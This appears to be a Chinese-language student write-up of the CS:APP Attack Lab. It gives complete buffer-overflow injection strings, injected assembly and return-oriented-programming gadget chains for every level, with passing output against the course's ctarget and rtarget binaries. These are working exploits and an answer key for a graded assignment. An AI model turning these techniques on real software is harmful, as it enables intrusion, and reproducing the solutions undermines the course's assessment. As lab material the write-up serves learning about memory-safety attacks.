注意:必須閱讀Writeup,否則根本看不懂這個lab要怎麼做
實驗前準備
1.在終端中輸入./ctarget和./rtarget結果報錯
百度後得知自學的同學需要在執行檔案時加上-q引數,不傳送結果到評分伺服器。後來發現官網已經說明了針對self-study student需要使用"-q" option
gbd裡面的run也要"-q"
2.使用objdump -d反彙編ctarget
Part 1:Code Injection Attacks
Level 1
覆蓋返回值,呼叫touch1,ctarget_phase1.txt中的值為 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40" ,前40個字元用來填充getbuf的幀,最後三個字元修改返回地址為0x4017c0,getbuf的幀如下圖所示。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40
Level 2
覆蓋返回值,使離開getbuf後跳轉至0x59b997fa處,執行如下注入的程式碼。getbuf的幀如下圖所示。
0: 68 ec 17 40 00 pushq $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq
b: 90 nop
c: 90 nop
d: 90 nop
e: 90 nop
f: 90 nop
我一開始將touch2的首地址0x4017ec注入到幀裡,移動棧指標至儲存了0x017ec的地方,這樣雖然也能使程式碼跳轉至touch,但無法透過notify_server,因為這是不規範的,規範的做法是使用push,將0x4017ec儲存至棧中。
為什麼push是規範的方法?首先要看ret指令的含義,執行ret指令時,ret指令從棧中彈出值,然後跳轉到這個地址。在本題中,需要利用ret跳轉至touch2,所以先將touch2的首地址壓入棧中。
執行push指令後,棧的狀態如下圖所示:
有意思的是,指令的地址是從低處開始,逐漸增大,而棧的地址是從儲存空間的最高處開始,逐漸減小。這和配套影片所講的內容相對應。
除此之外,指令之間可以沒有間隔,比如上圖第一條指令和第二條指令在儲存器上是連續的。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 90 90 90 90 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55
Level 3
由於呼叫hexmatch和strncmp函式會覆蓋getbuf的幀,所以需要注入的資料不能儲存在geybuf的幀上,使用gdb反彙編並檢視彙編程式碼,發現getbuf呼叫的Gets函式會將輸入的字元儲存在首地址為0x604500的地方,所以使用儲存地址為0x604500的儲存空間儲存注入的cookie。
使用gdb工具檢視hexmatch,可以發現,s儲存的是cookie中每一個字元對應的十六進位制asiic碼,具體如表所示:
cokie | 5 | 9 | b | 9 | 9 | 7 | f | a |
---|---|---|---|---|---|---|---|---|
cookie | 0x35 | 0x39 | 0x62 | 0x39 | 0x39 | 0x37 | 0x66 | 0x61 |
所以需要儲存在0x604500是cookie中的字元對應的十六進位制assic碼,注入的程式碼如下
0: 68 fa 18 40 00 pushq $0x4018fa
5: 48 c7 c7 00 45 60 00 mov $0x604500,%rdi
c: 48 c7 07 35 39 62 39 movq $0x39623935,(%rdi)
13: 48 c7 47 04 39 37 66 movq $0x61663739,0x4(%rdi)
1a: 61
1b: c3 retq
1c: 90 nop
1d: 90 nop
1e: 90 nop
1f: 90 nop
注意程式碼中第三行和第四行指令中立即數的順序,立即數中低位儲存在儲存地址低位的地方
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:59b997fa
Part 2:Return-Oriented Programming
和part1不同,part2設定了棧隨機化和限制可執行程式碼區域(設定棧幀為不可執行區域)來對抗緩衝區溢位攻擊
Level 2
先編譯farm.c再反彙編farm.o可以得到farm.c對應的彙編程式碼,實際上這段程式碼在rtarget中,但是rtarget中東西太多,單獨拿出來看更清晰。
gcc -Og -c farm.c
objdump -d farm.o
Writeup中提示如下:
- All the gadgets you need can be found in the region of the code for rtarget demarcated by thefunctions start_farm and mid_farm.•
- You can do this attack with just two gadgets.
- When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploitstring will contain a combination of gadget addresses and data.
檢視farm.c的彙編程式碼,發現一共有三個gadget,分別是
# gadget1
# 48 89 c7 -> movq %rax,%rdi, from 0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
# gadget2
# 48 89 c7 -> movq %rax,%rdi,from 0x019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
# gadget3
# 58 -> popq %rax, from 0x4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
gadget1和gadget2是一樣的,所以兩個都可以使用,我使用了gadget2。
輸入字元後getbuf的幀如下圖所示
程式碼執行過程
1.跳轉至gadget3,執行 “popq %rax” 從幀中取出0x59b997fa,儲存在%rax
2.跳轉至gadget2,執行 “movq %rax,%rdi” 將0x59b997fa儲存在%rdi
3.跳轉至touch2
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
Level 3
在farm.c裡找到這些gadget,心中已經有數了,把cookie字元隨注入字元儲存在儲存空間,透過%rsp來確定這個字元的位置,不過想了很久還是無法具體實現。
movq %rax,%rdi
popq %rax
movq %rsp,%rax
movl %eax, %edx
movl %ecx, %esi
movl %edx, %ecx
movl %esp,%eax
後來百度看到一篇知乎文章,文章中使用了一個官方沒有提到的 "add $0x37, %al" 指令,雖然他最終PASS了,但是這顯然是不符合規範的。
但是這也提醒了我,自己對gadget的理解還不夠透徹,一開始以為只有程式碼碎片才能稱之為gadget,實際上完整的程式碼也能當作gadget,比如我接下來將會用到的add_xy,其c程式碼如下:
long add_xy(long x, long y)
{
return x+y;
}
add_xy的彙編程式碼如下:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
最後輸入的字元為 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61" ,輸入字元後getbuf的幀如下圖所示:
注入字元對應的含義為:
可以看到,正好使用了8個gadget,而Writeup中提到官方的方法使用了8個gadget
從下往上數第一行讓%rsp指向的值出棧,並儲存在%rax中,同時%rsp的值加1,跳過了常數值0x2,繼續執行下一條指令,第3行-第5行將0x2儲存在%esi中,第6行將%rsp的值取出來(需要注意的是,這時的%rsp指向第7行,這也是常數值取0x20的原因)儲存在%rdi中,第8行add_xy的引數儲存在%rdi和%rsi中,之前的指令都是在為add_xy做準備,add_xy的結果指向第11行。最後將%rax的值儲存在%rdi中,跳轉至touch3。
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61